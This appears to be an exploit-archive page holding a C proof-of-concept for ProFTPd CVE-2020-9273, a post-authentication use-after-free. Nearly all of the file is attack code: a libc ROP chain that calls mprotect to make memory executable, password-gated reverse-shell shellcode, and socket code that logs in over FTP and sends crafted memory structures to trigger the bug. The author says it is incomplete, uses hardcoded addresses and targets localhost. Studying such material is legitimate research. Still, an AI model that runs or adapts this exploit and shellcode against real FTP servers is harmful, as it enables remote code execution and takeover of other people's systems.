4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit_demo.c C
/*
 * ProFTPd Remote Code Execution exploit - CVE-2020-9273
 *
 * exploit created by @DUKPT_
 *
 * credits to Antonio Morales who discovered the vulnerability
 * 
 * WARNING: this exploit is 90% completed, I removed the brute-force loop
 * because I'm interested in finding a memory leak. However, since this is
 * a post-auth exploitation and also have to have the hability to upload
 * files, I decided to quit working on this. Seems not so interesting.
 * 
 * Most of the code that actually are commented, since you need to interact
 * with gdb.
 * 
 * Feel free to contact me if you want to share something.
 * 
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <err.h>
#include <errno.h>

#define exit_on_error(P) if(P) err(errno, NULL);

/* do not change these above!
 * this exploit was setup to work only on localhost (sorry this is just a PoC) */
#define FTP_PORT 2121
#define FTP_HOST "127.0.0.1"

/* size of buffer to store responses of FTP control connection */
#define RCVD_BUFF_SIZE 512

/* size of buffer to send data on FTP data connection */
#define SEND_BUFF_SIZE 0x2000 // 0x400 == 1024*8 - if required change to 0x4000 */

/* this is a fictitious pool_rec structure, it does not represents the original
 * one in size. I'm declaring it to facilitate offset calculations visually */
struct pool_rec {
    unsigned char *first;
    unsigned char *last;
    unsigned char *cleanups;
    unsigned char *sub_pools;
    unsigned char  *sub_next;
    unsigned char *sub_prev;
    unsigned char *parent;
    char *free_first_avail;
    char *tag;
};

/* libc-2.31 x86_64 mprotect ROP manually created on Ubuntu 20.04.1 LTS */
unsigned char *mprotect_rop =  "\x00\x10\x00\x00\x00\x00\x00\x00"   /*  $rsi = mem size  */
                               "\xa9\x71\xdb\xf7\xff\x7f\x00\x00"   /*  0x7ffff7db71a9 <strip+217>: pop rsi; ret  */
                               "\x00\x10\x00\x00\x00\x00\x00\x00"   /*  $rsi = mem size  */
                               "\xa9\x71\xdb\xf7\xff\x7f\x00\x00"   /*  0x7ffff7db71a9 <strip+217>: pop rsi; ret  */
                               "\x00\x10\x00\x00\x00\x00\x00\x00"   /*  $rsi = mem size  */
                               "\x72\x9b\xda\xf7\xff\x7f\x00\x00"   /*  0x7ffff7da9b72 <init_cacheinfo+242>:  pop rdi; ret  */
                               "DDDDDDDD" // MPROTECT_RDI                        /*  $rdi = initial mem page address to mprotect  */
                               "\x65\x58\xee\xf7\xff\x7f\x00\x00"   /*  0x7ffff7ee5865 <do_dlopen+69>: pop rax; pop rdx; pop rbx; ret  */
                               "\x0a\x00\x00\x00\x00\x00\x00\x00"   /*  $rax = 0xa (mprotect syscall number) */
                               "\x07\x00\x00\x00\x00\x00\x00\x00"   /*  $rdx = 0x7 (RWX permission)  */
                               "\xca\xfe\xca\xfe\xca\xfe\xca\xfe"   /*  ignored  */
                               "\x29\x92\xde\xf7\xff\x7f\x00\x00"   /*  0x7ffff7de9229 <__funlockfile+73>: syscall; ret  */
                               "EEEEEEEE"; // MPROTECT_RETURN                  ;  /*  ret address  */

/* zerosum0x0's reverse shell with password "dkpt"
 * (first type the password to get reverse shell)
 * PS.: for some reason that I stil have to investigate you must
 * type "sh" after the password, if not the connection is closed
 */
unsigned char reverse_shell[] =
    "\x31\xf6"                      /* xor    %esi,%esi */
    "\xf7\xe6"                      /* mul    %esi */
    "\xff\xc6"                      /* inc    %esi */
    "\x6a\x02"                      /* pushq  $0x2 */
    "\x5f"                          /* pop    %rdi */
    "\x04\x29"                      /* add    $0x29,%al */
    "\x0f\x05"                      /* syscall */
    "\x50"                          /* push   %rax */
    "\x5f"                          /* pop    %rdi */
    "\x52"                          /* push   %rdx */
    "\x52"                          /* push   %rdx */
    "\xc7\x44\x24\x04\x7d\xff\xfe"  /* movl   $0xfefeff7d,0x4(%rsp) */
    "\xfe"                          /* . */
    "\x81\x44\x24\x04\x02\x01\x01"  /* addl   $0x2010102,0x4(%rsp) */
    "\x02"                          /* . */
    "\x66\xc7\x44\x24\x02\x11\x5c"  /* movw   $0x5c11,0x2(%rsp) */
    "\xc6\x04\x24\x02"              /* movb   $0x2,(%rsp) */
    "\x54"                          /* push   %rsp */
    "\x5e"                          /* pop    %rsi */
    "\x6a\x10"                      /* pushq  $0x10 */
    "\x5a"                          /* pop    %rdx */
    "\x6a\x2a"                      /* pushq  $0x2a */
    "\x58"                          /* pop    %rax */
    "\x0f\x05"                      /* syscall */
    "\x31\xc0"                      /* xor    %eax,%eax */
    "\x0f\x05"                      /* syscall */
    "\x81\x3c\x24""aaaa"            /* cmpl   $0x41414141,(%rsp) */ 
    "\x75\x1f"                      /* jne    62 <drop> */
    "\x6a\x03"                      /* pushq  $0x3 */
    "\x5e"                          /* pop    %rsi */
    "\xff\xce"                      /* dec    %esi */
    "\xb0\x21"                      /* mov    $0x21,%al */
    "\x0f\x05"                      /* syscall */
    "\x75\xf8"                      /* jne    46 <dupe_loop> */
    "\x56"                          /* push   %rsi */
    "\x5a"                          /* pop    %rdx */
    "\x56"                          /* push   %rsi */
    "\x48\xbf\x2f\x2f\x62\x69\x6e"  /* movabs $0x68732f6e69622f2f,%rdi */
    "\x2f\x73\x68"                  /* . */
    "\x57"                          /* push   %rdi */
    "\x54"                          /* push   %rsp */
    "\x5f"                          /* pop    %rdi */
    "\xb0\x3b"                      /* mov    $0x3b,%al */
    "\x0f\x05"                      /* syscall */;


int main(int argc, char* argv[])
{
    int rc=0,wstatus=0,s=0,sc=0,socketopt=1;
    pid_t pid=-1;
    //size_t offset=0xc20; /* this is from: gef➤  print 0x5555556d4000 - 0x5555556d33e0 == 0xc20 */
    char buf[RCVD_BUFF_SIZE] = {0};
    struct sockaddr_in sa = {0};
    struct pool_rec resp_pool = {0};
    unsigned char shellcode[SEND_BUFF_SIZE];

    /* When the vulnerability is triggered "p" points to "resp_pool". In fact,
     * ProFTPd detects that the FTP control connection was closed and it'll 
     * begin the end session process. So what we control is (pool *)resp_pool
     * members, but not it address. This is a use-after-free vulnerability and
     * we control it's content during FTP data transference, so our payload is
     * in fact our shellcode.
     * Thus, we'll have to predict where (pool *)resp_pool (which is a typedef
     * to struct pool_rec) points to and also the address of
     * &session.curr_cmd_rec->notes->chains (ProFTPd will fill this buffer
     * during end session process, so we need to align FTP data transfer and
     * FTP control sending a crafted predicted memory address as a command.
     *
     * Due to PIE and ASLR it's almost impossible to guess these addresses, so
     * the only way I think it's possible is brute-forcing. But since the main
     * daemon process fork()ed a child, it inherits parent's memory layout, so
     * it makes sense to brute force some memory addresses. 
     *
     * set $resp_pool = (unsigned char *)resp_pool
     * set $cmd_notes_chains = (unsigned char *)&session.curr_cmd_rec->notes->chains
     * set $gid_tab = (unsigned char *)gid_tab
     * set $offset = 0x98
     * set $distance = $cmd_notes_chains - $gid_tab - $offset
     * set p->last=&p->cleanups
     * set p->sub_pools=(unsigned char *)&session.curr_cmd_rec->notes->chains - 0x28
     * set p->sub_next=(unsigned char *)&session.curr_cmd_rec->notes->chains - $distance
    */


    printf("** ProFTPd <= 1.3.7rc2 CVE-2020-9273 exploit\n"
           "** default payload provides remote shell with \"aaaa\" password\n"
           "** exploit developed by dukpt\n\n");

   /* In alloc_pool() when the vulnerability is triggered, "p" is a (pool *)
    * pointer that points to (pool *)resp_pool (remember that "pool" is a 
    * typedef struct pool_rec).
    * (pool *)resp_pool variable holds the error message printed
    * to the user on FTP control connection (usually on TCP 21 port).
    * Since this is the variable we control, we have to manipulate the execution
    * flow according to the reads and writes to this structure.
    * The way I exploited this will be described bellow..
    * 
    * (pool *)p which points to (pool *)resp_pool should be the following:
    * set $r=(unsigned char *)resp_pool
    * set $a=(unsigned char *)&session.curr_cmd_rec->notes->chains
    * set $b=(unsigned char *)&gid_tab->pool
    * set $c=$a - $b
    * p p->last=&p->cleanups
    * p p->sub_pools=((char *)&session.curr_cmd_rec->notes->chains) - 0x28
    * p p->sub_next=((char *)&session.curr_cmd_rec->notes->chains) - $c - 0x90
    * print *p
    * $1 = {
    *    first = 0x4141414141414141,
    *    last = 0x5555556d3370,
    *    cleanups = 0x4141414141414141,
    *    sub_pools = 0x5555556ae2f8,
    *    sub_next = 0x5555556a8a20,
    *    sub_prev = 0x4141414141414141,
    *    parent = 0x4141414141414141,
    *    free_first_avail = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
    *    tag = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>
    * }
    * 
    * set $RESP_POOL=(unsigned char *)resp_pool
    * set $cmd_notes_chains=(unsigned char *)&session.curr_cmd_rec->notes->chains
    * set $gid_tab=(unsigned char *)gid_tab
    * 
    * set $distance=($cmd_notes_chains - $gid_tab) + 0x90
    * 
    * set p->last=&p->cleanups
    * set p->sub_pools=$cmd_notes_chains - 0x28
    * set p->sub_next=$cmd_notes_chains - $distance
    *
    * we need to make the adjustment of -0x28 due to make_sub_pool(), where
    * p->sub_prev is deslocated in 0x28, so we need to correct it
    * 
    */

   /*
    * HAVE TO SET THE 2 VARIABLES BELOW WITH HARDCODE ADDRESSES!
    */
    unsigned char *RESP_POOL           = (unsigned char *) 0x5555556d2350;  // value of resp_pool
    unsigned char *SESS_CURR_CMD_NOTES = (unsigned char *) 0x5555556ad088;  // value of session.curr_cmd_rec->notes

    unsigned char *MPROTECT_RETURN = RESP_POOL + 0x30;   /* RESP_POOL + 0x30 == &resp_pool->parent == this is our ret to shellcode address  */
    unsigned char *MPROTECT_RDI = (unsigned char *)((unsigned long)RESP_POOL & 0xffffffffff000); /* RESP_POOL & 0xffffffffff000 (initial address to mprotect) */

    /*
     * Since I wasn't able to find any memory leak, I had to make an exploit with hardcoded
     * addresses, wich I know it's stupid and won't work most of the time when you run this.
     * Anyways, RESP_POOL variable holds the address stored in resp_pool BSS variable.
     * SESS_CURR_CMD_NOTES variable holds the address stored in session.curr_cmd_rec->notes 
     * Explanation for the offsets: SESS_CURR_CMD_NOTES + 0x18 - 0x80
     * 1) + 0x18 to forward to address &session.curr_cmd_rec->notes->chain
     * 2) - 0x80 to backward to part of our payload
     */

    resp_pool.first = (unsigned char *)RESP_POOL;
    resp_pool.last = (unsigned char *)0x4141414141414145; // RESP_POOL + 0x10;
    resp_pool.cleanups = (unsigned char *)0x9090909090909090; // RESP_POOL + 0x20;
    resp_pool.sub_pools = (unsigned char *)SESS_CURR_CMD_NOTES + 0x18 - 0x28;  // (unsigned char *)&session.curr_cmd_rec->notes->chains - 0x28
    resp_pool.sub_next = (unsigned char *)SESS_CURR_CMD_NOTES - 0x80;   // (unsigned char *)&session.curr_cmd_rec->notes->pool - 0x80
    resp_pool.sub_prev = (unsigned char *)0x4343434343434343; // 0x7f4fe620f1a9; // 0x7f404881d1a9; // 0x7f75211301a9;   /* <strip+217>: pop rsi; ret */
    resp_pool.parent = (unsigned char *)0x4444444444444444;
    resp_pool.free_first_avail = (unsigned char *)0x4141414141414141;
    resp_pool.tag = (unsigned char *)0x4144444444444444;
    //resp_pool.tag = RESP_POOL + 0x40;

    /*
     * print *p->cleanups
     * $7 = {
     *   data = 0x5555556d3398,
     *   plain_cleanup_cb = 0x7ffff7ece1a1 <authnone_marshal+17>,
     *   child_cleanup_cb = 0x5555556d3398,
     *   next = 0x7ffff7ece1a1 <authnone_marshal+17>
     * }
     *
     * c->data holds the value of our stack (rsp)
     */

    /*
     * p->sub_pools
     * this member points to the next element of the pool.
     * since we control it, we have to maintain the control of it
     * until it reaches our payload copy, then we can send the
     * ROP mprotect shellcode + the real shellcode and RET to them.
     */
    printf("memory layout info:\n");
    printf("resp_pool = %p\n", RESP_POOL);
    printf("session.curr_cmd_rec->notes = %p\n", SESS_CURR_CMD_NOTES);
    printf("&session.curr_cmd_rec->notes->chains = %p\n", (SESS_CURR_CMD_NOTES + 0x18));
    printf("resp_pool = {\n");
    printf("       first = %p\n", resp_pool.first);
    printf("       last =  %p <resp_pool+0x10>\n", resp_pool.last);
    printf("       cleanups = %p <resp_pool+0x20>\n", resp_pool.cleanups);
    printf("       sub_pools =  %p <&session.curr_cmd_rec->notes->chains - 0x28>\n", resp_pool.sub_pools);
    printf("       sub_next = %p\n", resp_pool.sub_next);
    printf("       sub_prev = %p <strip+217>\n", resp_pool.sub_prev);
    printf("       parent = %p\n", resp_pool.parent);
    printf("       free_first_avail = %p\n", resp_pool.free_first_avail);
    printf("       tag = %p\n", resp_pool.tag);
    printf("}\n");

    pid = fork();
    switch(pid)
    {
        case -1:
            err(errno, "error in fork");
            exit(-1);
            break;

        case 0: /* child, FTP data connection */
            setsid(); // makes sense?
            /* address structure for FTP data listenning connection */
            sa.sin_family = AF_INET;
            sa.sin_port = htons(3762);
            sa.sin_addr.s_addr = htonl(INADDR_ANY);

            /* bind and listen socket and accept remote FTP data connection*/
            s = socket(AF_INET, SOCK_STREAM, 0);
            exit_on_error(s < 0);
            rc = setsockopt(s, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &socketopt, sizeof(socketopt));
            exit_on_error(rc < 0);
            rc = bind(s, (struct sockaddr *)&sa, sizeof(sa));
            exit_on_error(rc < 0);
            rc = listen(s, 1);
            exit_on_error(rc < 0);
            sc = accept(s, 0, 0);
            exit_on_error(sc < 0);

            /* send data to remote FTP server */
            dprintf(2, "[+] received data connection, sending payload and triggering the use-after-free: ");

            /*
             * print p
             * $1 = (struct pool_rec *) 0x5555556d3360
             * print *p
             * $2 = {
             *    first = 0x4141414141414141,
             *    last = 0x4141414141414141,
             *    cleanups = 0x4141414141414141,
             *    sub_pools = 0x4141414141414141,
             *    sub_next = 0x4141414141414141,
             *    sub_prev = 0x4141414141414141,
             *    parent = 0x4141414141414141,
             *    free_first_avail = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
             *    tag = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>
             * }
             * set p->last = &p->cleanups
             * set p->sub_pools = ((char *)&session.curr_cmd_rec->notes->chains) - 0x28
             * set p->sub_next = ((char *)&session.curr_cmd_rec->notes->chains) - 0x5900
             * print *p
             * $3 = {
             *    first = 0x4141414141414141,
             *    last = 0x5555556d3370,
             *    cleanups = 0x4141414141414141,
             *    sub_pools = 0x5555556ae2f8,
             *    sub_next = 0x5555556a8a20,
             *    sub_prev = 0x4141414141414141,
             *    parent = 0x4141414141414141,
             *    free_first_avail = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
             *    tag = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>
             * }
             * c
             * print c
             * $4 = (cleanup_t *) 0x5555556d3390
             * print *c
             * $5 = {
             *   data = 0x4141414141414141,
             *   plain_cleanup_cb = 0x4141414141414141,
             *   child_cleanup_cb = 0x4141414141414141,
             *   next = 0x4141414141414141
             * }
             * set c->data=(unsigned char *)resp_pool + 0xca0
             * set c->plain_cleanup_cb=0x00007ffff7d85000+0x00000000001491a1
             * print *c
             * $6 = {
             *   data = 0x5555556d4000,
             *   plain_cleanup_cb = 0x7ffff7ece1a1 <authnone_marshal+17>,
             *   child_cleanup_cb = 0x4141414141414141,
             *   next = 0x4141414141414141
             * }
             */
            memset(&shellcode[0x00], 0x90, SEND_BUFF_SIZE);                    /* let's just fill initial buffer with "NOP"s just in case */

            //memcpy(&shellcode[0x00], &resp_pool.first, 8);    /* p->first = 0x4141414141414141 */
            memcpy(&shellcode[0x08], &resp_pool.last, 8);     /* p->last = &p->cleanups */
            memcpy(&shellcode[0x10], &resp_pool.cleanups, 8); /* p->cleanups = 0x5555556d4000 */
            memcpy(&shellcode[0x18], &resp_pool.sub_pools, 8);
            memcpy(&shellcode[0x20], &resp_pool.sub_next, 8); /* p->sub_next = ((char *)&session.curr_cmd_rec->notes->chains) - 0x5900 (sometimes 0x5970) */
            //memcpy(&shellcode[0x28], &resp_pool.sub_prev, 8);          /* <strip+217>: pop rsi; ret */
            //memcpy(&shellcode[0x30], &resp_pool.parent, 8);            /* p->parent = (this is our future stack that'll mprotect using ROP technique) */
            //memcpy(&shellcode[0x38], &resp_pool.free_first_avail, 8);  /* p->free_first_avail = */
            //memcpy(&shellcode[0x40], &resp_pool.tag, 8);               /* p->tag = 0x5555556d4000 */

            //memcpy(&shellcode[0xa0], "\x00\x40\x6d\x55\x55\x55\x00\x00", 8);   /* c->data = 0x5555556d4000 */
            //memcpy(&shellcode[0xf8], "\xa1\xe1\xec\xf7\xff\x7f\x00\x00", 8);   /* c->plain_cleanup_cb = 0x7ffff7ece1a1 <authnone_marshal+17>  */
            /*
            * print *p->cleanups
            * $7 = {
            *   data = 0x5555556d3398,
            *   plain_cleanup_cb = 0x7ffff7ece1a1 <authnone_marshal+17>,
            *   child_cleanup_cb = 0x5555556d3398,
            *   next = 0x7ffff7ece1a1 <authnone_marshal+17>
            * }
            *
            * c->data holds the value of our stack (rsp)
            */

            //memcpy(&shellcode[0x48], "\xa1\xc1\xec\xf7\xff\x7f\x00\x00", 8);   /* c->plain_cleanup_cb = 0x7ffff7ece1a1 <authnone_marshal+17>  */
            //memcpy(&shellcode[0x50], "\xe0\x33\x6d\x55\x55\x55\x00\x00", 8);   /* c->data = 0x5555556d4000 - na verdade pode ser o valor de &p->free_first_avail p*/
            //memcpy(&shellcode[0x58], "\xa1\xc1\xec\xf7\xff\x7f\x00\x00", 8);   /* c->plain_cleanup_cb = 0x7ffff7ece1a1 <authnone_marshal+17>  */
            //memcpy(&shellcode[0x60], "\xe0\x33\x6d\x55\x55\x55\x00\x00", 8);   /* c->data = 0x5555556d4000 */
            //memcpy(&shellcode[0x68], "\xa1\xc1\xec\xf7\xff\x7f\x00\x00", 8);   /* c->plain_cleanup_cb = 0x7ffff7ece1a1 <authnone_marshal+17>  */
            //memcpy(&shellcode[0x70], "\xe0\x33\x6d\x55\x55\x55\x00\x00", 8);   /* c->data = 0x5555556d4000 */
            //memcpy(&shellcode[0x78], "\xa1\xc1\xec\xf7\xff\x7f\x00\x00", 8);   /* c->plain_cleanup_cb = 0x7ffff7ece1a1 <authnone_marshal+17>  */

            /*
             * mprotect ROP.
             * we start mprotecting just the memory region
             * that we're going to execute.
             * We copy several times, just in case..
             */
            //for(size_t i=0x80; i<0x490; i+=0x68) {
                //memcpy(&shellcode[0x80], mprotect_rop, 0x68);
            //}

            /*
             * probably need some trampoline here..
             */


            /*
             * revershell shellcode with password.
             * now we memcopy the actual shellcode
             * since we've already mprotected it
             */
            //for(size_t i=0x400 + 0xc20; i<0xa00; i+=0x6a) {
                //memcpy(&shellcode[0x100+0x68], reverse_shell, 0x6a);
                //memcpy(&shellcode[0x200+0x68], reverse_shell, 0x6a);
                //memcpy(&shellcode[0x300+0x68], reverse_shell, 0x6a);
            //}


            do {
                sleep(1);
                dprintf(2, "+");
                rc = send(sc, shellcode, SEND_BUFF_SIZE, 0);
            } while (sc && rc > 0);

            dprintf(2, " bye from child fork\n");
            //sleep(30);
            if (sc) close(sc); //, SHUT_RDWR);
            if (s) close(s); //, SHUT_RDWR);

            exit(0);
            break;

        default: /* parent */
            /* address structure for command connection */
            sa.sin_family = AF_INET;
            sa.sin_port = htons(FTP_PORT);
            sa.sin_addr.s_addr = inet_addr(FTP_HOST);

            /* FTP commands socket */
            s = socket(AF_INET, SOCK_STREAM, 0);
            exit_on_error(s < 0);

            printf("[+] child process PID: %d\n", pid);
            /* connect to remote FTP and reads banner */
            rc = connect(s, (const struct sockaddr *)&sa, sizeof(sa));
            exit_on_error(rc < 0);
            rc = recv(s, buf, RCVD_BUFF_SIZE-1, 0);
            exit_on_error(rc < 0);
            buf[RCVD_BUFF_SIZE]='\0';

            /* send USER and PASS login commands */
            printf("[+] user login... ");
            rc = send(s, "USER poc\r\n", 10, 0);
            rc = recv(s, buf, RCVD_BUFF_SIZE-1, 0);
            rc = send(s, "PASS VaiCabelo1\r\n", 17, 0);
            rc = recv(s, buf, RCVD_BUFF_SIZE-1, 0);
            buf[RCVD_BUFF_SIZE]='\0';
            if (rc > 0 && strcmp("230 ", buf) && strcmp("logged in", buf)) {
                printf("OK!\n");
            } else {
                err(errno, "wrong user and/or password, can't continue.");
            }

            /* send PORT and STOR commands to start transference */
            printf("[+] sending PORT command\n");
            //sleep(1);
            rc = send(s, "TYPE I\r\n", 8, 0);
            rc = recv(s, buf, RCVD_BUFF_SIZE-1, 0);
            rc = send(s, "PORT 127,0,0,1,14,178\r\n", 23, 0);
            rc = recv(s, buf, RCVD_BUFF_SIZE-1, 0);

            /* start listenning socket to wait for FTP remote data connection */
            printf("[+] sending STOR command\n");
            rc = send(s, "STOR /tmp/bbb\r\n", 15, 0);
            rc = recv(s, buf, RCVD_BUFF_SIZE-1, 0);
            exit_on_error(rc <= 0);
            if (!strcmp("200 ", buf))
                err(errno, "error STOR");

            /* send data payload syncronized with control connection  */
            rc = send(s, (void *)"1111 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 400, 0);
            rc = send(s, (void *)"2222 BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\n", 100, 0);
            rc = send(s, (void *)"3333 CCC\x77\x77\x02\x01\x77\x77\0", 15, 0); // this is the address where the structure will be pointed to (which should be resp_pool value)
            //rc = send(s, (void *)"HELP\r\n", 6, 0); // apenas segura a ausencia de \r\n do comando anterior
            //rc = send(s, (void *)"STOR /tmp/bbb\r\n", 15, 0);
            //rc = send(s, (void *)"REST 5\r\n", 8, 0);
            //rc = send(s, (void *)"REST 55\0", 8, 0);
            //rc = send(s, (void *)"RANG 800 12000000\r\n", 19, 0);
            // detalhe: é necessário fazer através de comando e parâmetro
            // pois o código transforma em maiúsculo se mandar só AAAAAAAA [..]
            // então preciso mandar AAAA xxxxxx pois o parâmetro não é transformado
            // em maiúsculo
            /*
             * should be &p->cleanups + 0x40
             * (remember that p points to resp_pool)
             * and it's the address to prepare our stack before ROP'ing
             */
            memset(buf, 0, RCVD_BUFF_SIZE);
            snprintf(&buf[0], 9, "2222 CCC");
            snprintf(&buf[8], 8, "%s", (char *)&RESP_POOL);
            //printf("\n%d:%s\n\n", (int)strlen(buf),buf);
            //rc = send(s, (void *)buf, 15, 0); // this is the real address

            if (s) {
                //printf("[+] closing FTP control connection\n");
                close(s);
                //shutdown(s, SHUT_RDWR);
            } else {
                printf("\n[-] humm strange, socket is already closed\n");
            }
            do
            {

                rc = waitpid(pid, &wstatus, WUNTRACED | WCONTINUED);
                if (rc == -1) {
                    exit_on_error(rc <= 0);
                }
                if (WIFEXITED(wstatus)) {
                    printf("\n[+] parent caught: child exited with status=%d\n", WEXITSTATUS(wstatus));
                } else if (WIFSIGNALED(wstatus)) {
                    printf("\n[+] parent caught: child got signal %d, propably connection was closed (which is normal due to the bug triggering)\n", WTERMSIG(wstatus));
                } else if (WIFSTOPPED(wstatus)) {
                    printf("\n[+] parent caught: child stopped by signal %d - did you do this?\n", WSTOPSIG(wstatus));
                }
            } while (!WIFEXITED(wstatus) && !WIFSIGNALED(wstatus));
            //sleep(30);
            break;
    } //end switch
    //printf("-- next try:\n");
    //sleep(1);
    //} //end for

    return 0;
}